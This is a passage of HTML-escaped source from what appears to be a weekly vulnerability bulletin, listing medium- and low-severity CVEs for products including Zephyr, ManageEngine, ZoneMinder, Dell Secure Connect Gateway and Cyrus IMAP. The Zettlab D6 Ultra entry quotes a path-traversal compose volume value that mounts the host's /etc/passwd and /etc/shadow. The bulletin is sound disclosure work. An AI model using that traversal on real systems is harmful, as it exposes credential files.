&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15460&quot; target=&quot;_blank&quot;&gt;CVE-2026-15460&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zephyrproject--zephyr&lt;/td&gt;
&lt;td&gt;The Sierra Wireless HL78xx modem GNSS driver (drivers/modem/hl78xx/, later drivers/modem/vendor_standalone/hl78xx/) embeds a generic struct gnss_nmea0183_match_data match_data inside struct hl78xx_gnss_data. The generic NMEA0183 match helper (drivers/gnss/gnss_nmea0183_match.c) requires that context to be the first member because its callbacks cast user_data directly to struct gnss_nmea0183_match_data . In the affected releases match_data was the second member (after const struct device dev), so it sat at a non-zero offset while gnss_nmea0183_match_init() initialized it at the correct address. The registered NMEA handlers instead pass the whole device data object (data-&amp;gt;devices.gnss-&amp;gt;data, offset 0), producing an offset-shifted type confusion between where state is initialized and where the parse callbacks read and write it. When NMEA sentences from the GNSS receiver are parsed, the GGA/RMC callbacks write parsed fix data into the wrong location within the struct, and the GSV callback (gnss_nmea0183_match_gsv_callback, active under CONFIG_GNSS_SATELLITES) reads its satellites pointer and bound from the wrong offsets - non-pointer bytes of struct hl78xx_gnss_data - and then writes parsed struct gnss_satellite entries through that bogus pointer. This is a write through an uninitialized/wild pointer with a garbage bound. The NMEA handlers are registered by default (CONFIG_HL78XX_GNSS_SOURCE_NMEA is the default GNSS source) on devices using the HL78xx GNSS. The driver runs in kernel context and the NMEA data originates from the GNSS radio front-end, so a party able to influence the GNSS signal (for example GNSS/GPS spoofing at radio proximity) can drive the kernel-side parser into the faulty write. The most likely impact is a crash (denial of service) because the bogus pointer resolves to a fixed near-NULL value, with adjacent-memory corruption possible on MMU-less targets. Confidentiality is not affected. Exploitation requires the satellites feature to be enabled and active, so attack complexity is high.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15461&quot; target=&quot;_blank&quot;&gt;CVE-2026-15461&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;zephyrproject--zephyr&lt;/td&gt;
&lt;td&gt;The mcumgr SMP settings-management group handlers settings_mgmt_read(), settings_mgmt_write(), and settings_mgmt_delete() in subsys/mgmt/mcumgr/grp/settings_mgmt/src/settings_mgmt.c allocate a key_name buffer (and, for read, a data buffer) via k_malloc() when CONFIG_MCUMGR_GRP_SETTINGS_BUFFER_TYPE_HEAP is enabled, relying on the end: label to k_free() them. When CONFIG_MCUMGR_GRP_SETTINGS_ACCESS_HOOK is also enabled and the application access hook rejects a request by returning status MGMT_CB_ERROR_RC, the handler executed return ret_rc; directly, bypassing end: and leaking the heap allocation on every rejected request. The settings handlers are reachable over the unauthenticated SMP transport (Bluetooth LE, UART, or UDP, depending on product configuration). The access hook is the mechanism applications use to deny unauthorized settings access, and MGMT_CB_ERROR_RC is a common rejection style, so an attacker who can send settings read/write/delete commands that the hook rejects triggers a heap leak on each attempt. Because the leaked memory is never reclaimed until reboot, a sustained stream of rejected requests monotonically exhausts the kernel heap until k_malloc() fails, denying mcumgr service and impacting any other heap consumer on the device - a denial of service. The impact is availability-only; there is no memory corruption or information disclosure. Only configurations that select the heap buffer type, enable the access hook, and register a hook that returns MGMT_CB_ERROR_RC are affected (the default stack buffer type cannot leak).&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15892&quot; target=&quot;_blank&quot;&gt;CVE-2026-15892&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zettlab--D6 Ultra&lt;/td&gt;
&lt;td&gt;Zettlab D6 Ultra before 1.7.0 allows mounting /etc/passwd and /etc/shadow in a container via &quot;..&quot; manipulations such as volumes: - ../../../../../../../etc:/h_etc:rw in a compose file.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-70819&quot; target=&quot;_blank&quot;&gt;CVE-2025-70819&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine Endpoint Central&lt;/td&gt;
&lt;td&gt;Zohocorp ManageEngine Endpoint Central versions below 11.4.2540.23 are vulnerable to&amp;nbsp;Privilege Escalation During JAR Extraction&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77697&quot; target=&quot;_blank&quot;&gt;CVE-2026-77697&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine Endpoint Central&lt;/td&gt;
&lt;td&gt;Zohocorp ManageEngine Endpoint Central versions below 11.5.2600.15 are vulnerable to&amp;nbsp;Privilege Escalation Due to Outdated Component&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85640&quot; target=&quot;_blank&quot;&gt;CVE-2026-85640&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine Endpoint Central&lt;/td&gt;
&lt;td&gt;Zohocorp ManageEngine Endpoint Central versions before 11.5.2605.01 are vulnerable to local privilege escalation due to Agent upgrade.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77698&quot; target=&quot;_blank&quot;&gt;CVE-2026-77698&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Zohocorp--ManageEngine Endpoint Central&lt;/td&gt;
&lt;td&gt;Zohocorp&amp;nbsp;ManageEngine Endpoint Central versions below 11.5.2605.01 are vulnerable to Local privilege escalation due to loading a dll from an untrusted path.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77699&quot; target=&quot;_blank&quot;&gt;CVE-2026-77699&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ZoneMinder--zoneminder&lt;/td&gt;
&lt;td&gt;ZoneMinder is a free, open source closed-circuit television software application. Versions prior to 1.36.39, 1.38.4, and 1.39.11 allow an authenticated low-privileged user with coarse `Events=View` and/or `Snapshots=View` permissions to directly fetch media for events belonging to monitors they are not allowed to access. The normal UI correctly hides the restricted monitor and its events, but direct event media views accept an arbitrary `eid` and stream media from the event path without enforcing the event/monitor-level ACL. This exposes private surveillance footage across monitor boundaries. Versions 1.36.39, 1.38.4, and 1.39.11 fix the issue.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54258&quot; target=&quot;_blank&quot;&gt;CVE-2026-54258&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ZTE--NebulaOS&lt;/td&gt;
&lt;td&gt;NuBrowser lacks protocol whitelist validation for the S.browser_fallback_url field of intent://, allowing attackers to inject javascript: URLs via 302 redirects. This results in a universal cross site scripting (UXSS) vulnerability that enables script execution within the origin of arbitrary websites.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86550&quot; target=&quot;_blank&quot;&gt;CVE-2026-86550&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;a href=&quot;#top&quot;&gt;Back to top&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div id=&quot;low_v&quot;&gt;
&lt;h2 id=&quot;low_v_title&quot;&gt;Low Vulnerabilities&lt;/h2&gt;
&lt;table class=&quot;table table-style-align-center no-tablesaw&quot; style=&quot;table-layout:fixed;width:100%;&quot; border=&quot;1&quot; summary=&quot;Low Vulnerabilities&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th class=&quot;vendor-product&quot; style=&quot;width:24%;&quot; scope=&quot;col&quot;&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Primary&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;primary-vendor&quot;&gt;Vendor&lt;/span&gt; -- Product&lt;/th&gt;
&lt;th style=&quot;width:44%;&quot; scope=&quot;col&quot;&gt;Description&lt;/th&gt;
&lt;th style=&quot;width:10%;&quot; scope=&quot;col&quot;&gt;Published&lt;/th&gt;
&lt;th style=&quot;width:8%;&quot; scope=&quot;col&quot;&gt;CVSS Score&lt;/th&gt;
&lt;th style=&quot;width:7%;&quot; scope=&quot;col&quot;&gt;Source Info&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Adobe--Adobe Experience Manager as a Cloud Service&lt;/td&gt;
&lt;td&gt;Adobe Experience Manager is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. A low-privileged attacker could leverage this vulnerability to bypass security measures and gain unauthorized limited write access. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75726&quot; target=&quot;_blank&quot;&gt;CVE-2026-75726&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;aircheng-org--iWebShop-5&lt;/td&gt;
&lt;td&gt;A flaw has been found in aircheng-org iWebShop-5 up to 5.15. This impacts an unknown function of the file controllers/admin.php of the component Authentication Storage. Executing a manipulation of the argument Password can lead to password hash with insufficient computational effort. It is possible to launch the attack remotely. A high complexity level is associated with this attack. The exploitability is said to be difficult. The exploit has been published and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86670&quot; target=&quot;_blank&quot;&gt;CVE-2026-86670&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Anil-matcha--Open-Generative-AI&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in Anil-matcha Open-Generative-AI up to 1.0.11/2.0.0. Affected by this vulnerability is the function renderHistory of the file ImageStudio.js of the component Studio Components. This manipulation causes cross site scripting. The attack may be initiated remotely. The pull request to fix this issue awaits acceptance.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90602&quot; target=&quot;_blank&quot;&gt;CVE-2026-90602&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cdcseacave--TinyEXIF&lt;/td&gt;
&lt;td&gt;TinyEXIF before 1.1.0 has a heap-based buffer over-read in EntryParser::Fetch methods reachable via a crafted SubjectArea length.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;2.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-38332&quot; target=&quot;_blank&quot;&gt;CVE-2026-38332&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Chengdu Qilu Technology--Ludashi&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in Chengdu Qilu Technology Ludashi 6.1026.4715.714. Affected by this vulnerability is the function MessageNotifyCallback in the library ProtectFilter64.sys of the component Message Dispatch Handler. Performing a manipulation results in missing authorization. Attacking locally is a requirement. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;3.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90508&quot; target=&quot;_blank&quot;&gt;CVE-2026-90508&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Chengdu Qilu Technology--Ludashi&lt;/td&gt;
&lt;td&gt;A flaw has been found in Chengdu Qilu Technology Ludashi 6.1026.4715.714. The affected element is the function sub_11008 in the library ComputerZ_x64.sys. Executing a manipulation of the argument PhysicalAddress can lead to information disclosure. The attack needs to be launched locally. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;2.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90503&quot; target=&quot;_blank&quot;&gt;CVE-2026-90503&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;code-projects--Hospital Information System&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in code-projects Hospital Information System 1.0. Affected is an unknown function of the file /HIS/src/patients/editPatient.php of the component Patient Management. Such manipulation of the argument ID leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86301&quot; target=&quot;_blank&quot;&gt;CVE-2026-86301&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cyrusimap--Cyrus IMAP&lt;/td&gt;
&lt;td&gt;An issue was discovered in Cyrus IMAP before 3.12.4. A JMAP email-header blob ID can reference an out-of-bounds index. An authenticated user could attempt to download a crafted JMAP blob ID of the form H&amp;lt;emailid&amp;gt;-&amp;lt;index&amp;gt;, which could read past the end of the internal blob_headers array during download, exposing adjacent heap memory.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61908&quot; target=&quot;_blank&quot;&gt;CVE-2026-61908&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cyrusimap--Cyrus IMAP&lt;/td&gt;
&lt;td&gt;An issue was discovered in Cyrus IMAP before 3.12.4. CalDAV/CardDAV multiget bypasses a per-href ACL. An authenticated DAV user with some shared access to another user&#039;s calendar or address book could read even unshared events or contacts by including the target hrefs in a calendar-multiget or addressbook-multiget REPORT.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61909&quot; target=&quot;_blank&quot;&gt;CVE-2026-61909&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cyrusimap--Cyrus IMAP&lt;/td&gt;
&lt;td&gt;An issue was discovered in Cyrus IMAP before 3.12.4. Mailbox/set let a sharee change a special-use role on shared mailboxes. An authenticated user with maySetKeywords on another user&#039;s mailbox could change that mailbox&#039;s specialuse annotation. This could allow the sharee to change the shared mailbox to perform the archived, snoozed, or other role, which might cause mail mail to be written to the shared mailbox, sharing more content than intended. (This is likely to be an unusual situation, made more unusual because if the target already has an non-shared mailbox with that role, role duplication suppression will prevent the update.)&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61910&quot; target=&quot;_blank&quot;&gt;CVE-2026-61910&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dalance--procs&lt;/td&gt;
&lt;td&gt;procs through 0.14.12 fails to sanitize escape sequences in process command lines before displaying them in the Command column. Local attackers can execute processes with malicious ANSI or OSC escape sequences in their command line arguments, which are written unmodified to other users&#039; terminals for interpretation by terminal emulators.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;3.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90773&quot; target=&quot;_blank&quot;&gt;CVE-2026-90773&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;DataEase--DataEase&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in DataEase up to 2.10.25/2.10.26. Affected by this issue is the function buildTooltip of the file core/core-frontend/src/views/chart/components/js/panel/charts/map/symbolic-map.ts of the component Symbolic Map. Such manipulation of the argument canvasViewInfo[*].customAttr.tooltip.backgroundColor leads to cross site scripting. The attack may be performed from remote. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90529&quot; target=&quot;_blank&quot;&gt;CVE-2026-90529&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--PowerScale OneFS&lt;/td&gt;
&lt;td&gt;Dell PowerScale OneFS, versions 9.5.0.0 through 9.7.1.15, versions 9.8.0.0 through 9.13.1.0, and versions prior to 9.15.0.0, contain an Incorrect Authorization vulnerability. A low privileged adjacent network attacker could potentially exploit this vulnerability, leading to unauthorized modification of system logs.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-46460&quot; target=&quot;_blank&quot;&gt;CVE-2026-46460&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79690&quot; target=&quot;_blank&quot;&gt;CVE-2026-79690&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Least Privilege Violation vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;3.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79693&quot; target=&quot;_blank&quot;&gt;CVE-2026-79693&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Exposure of Sensitive System Information Due to Uncleared Debug Information vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to information exposure.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79727&quot; target=&quot;_blank&quot;&gt;CVE-2026-79727&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79729&quot; target=&quot;_blank&quot;&gt;CVE-2026-79729&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell Secure Connect Gateway (SCG) 5.0 Appliance, versions prior to 5.36.00.xx, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to protection mechanism bypass.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79732&quot; target=&quot;_blank&quot;&gt;CVE-2026-79732&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79736&quot; target=&quot;_blank&quot;&gt;CVE-2026-79736&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Execution with Unnecessary Privileges vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;3.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79942&quot; target=&quot;_blank&quot;&gt;CVE-2026-79942&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains a Least Privilege Violation vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;3.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79944&quot; target=&quot;_blank&quot;&gt;CVE-2026-79944&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Insertion of Sensitive Information into Log File vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to information exposure.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79966&quot; target=&quot;_blank&quot;&gt;CVE-2026-79966&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Insertion of Sensitive Information into Log File vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to information exposure.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80169&quot; target=&quot;_blank&quot;&gt;CVE-2026-80169&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Insertion of Sensitive Information into Externally-Accessible File or Directory vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to information exposure.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80175&quot; target=&quot;_blank&quot;&gt;CVE-2026-80175&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway 5.0 - Application&lt;/td&gt;
&lt;td&gt;Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Exposure of Sensitive System Information Due to Uncleared Debug Information vulnerability. An unauthenticated attacker with physical access could potentially exploit this vulnerability, leading to information exposure.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;2.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-80239&quot; target=&quot;_blank&quot;&gt;CVE-2026-80239&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fengoffice--Feng Office&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in Fengoffice Feng Office up to 3.11.13.11. Affected by this vulnerability is the function getTitle of the file application/views/task/add_task.php of the component Task Title Output. Executing a manipulation of the argument og_objects.name can lead to cross site scripting. The attack may be launched remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90497&quot; target=&quot;_blank&quot;&gt;CVE-2026-90497&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FFmpeg--FFmpeg&lt;/td&gt;
&lt;td&gt;FFmpeg before 9.0 has an out-of-bounds read because of missing required padding in WMA extradata allocation paths in libavcodec/wmaenc.c.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;2.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52296&quot; target=&quot;_blank&quot;&gt;CVE-2026-52296&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FFmpeg--FFmpeg&lt;/td&gt;
